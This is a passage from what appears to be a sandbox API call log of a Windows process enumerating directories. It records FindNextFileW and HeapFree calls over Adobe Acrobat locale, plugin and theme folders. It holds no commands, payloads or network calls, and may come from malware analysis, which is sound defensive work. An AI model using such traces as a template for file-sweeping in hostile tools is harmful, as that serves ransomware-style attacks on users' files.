ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0185.804] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.804] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0185.804] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.804] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0185.805] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.805] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0185.805] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.805] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0185.805] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.805] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0185.806] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.806] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0185.806] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.806] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0185.807] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.807] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0185.807] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.807] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0185.807] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.807] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0185.807] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.807] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0185.808] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.808] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0185.808] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.808] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0185.808] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.808] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0185.808] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.808] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0185.808] FindClose (in: hFindFile=0x4531740 | out: hFindFile=0x4531740) returned 1 [0185.808] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0185.809] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x38d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0185.809] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.809] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 0 [0185.809] FindClose (in: hFindFile=0x4531740 | out: hFindFile=0x4531740) returned 1 [0185.809] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0185.809] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 0 [0185.809] FindClose (in: hFindFile=0x4531dc0 | out: hFindFile=0x4531dc0) returned 1 [0185.809] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0185.809] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0185.809] FindClose (in: hFindFile=0x72a788 | out: hFindFile=0x72a788) returned 1 [0185.809] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0185.812] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="exportpdfupsell-app", cAlternateFileName="EXPORT~1")) returned 1 [0185.813] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0185.813] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0185.817] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.817] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0185.817] FindClose (in: hFindFile=0x45317c0 | out: hFindFile=0x45317c0) returned 1 [0185.817] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0185.817] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0185.817] FindClose (in: hFindFile=0x4531740 | out: hFindFile=0x4531740) returned 1 [0185.817] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0185.817] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0185.820] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.820] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0185.822] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.822] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0185.823] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.823] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0185.824] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.824] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0185.825] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.826] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0185.827] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.827] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0185.827] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.827] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0185.828] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.829] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0185.829] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.829] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0185.830] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.830] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0185.831] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.831] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0185.832] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.832] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0185.832] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.833] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0185.833] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.833] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0185.837] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.837] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eadf28 | out: 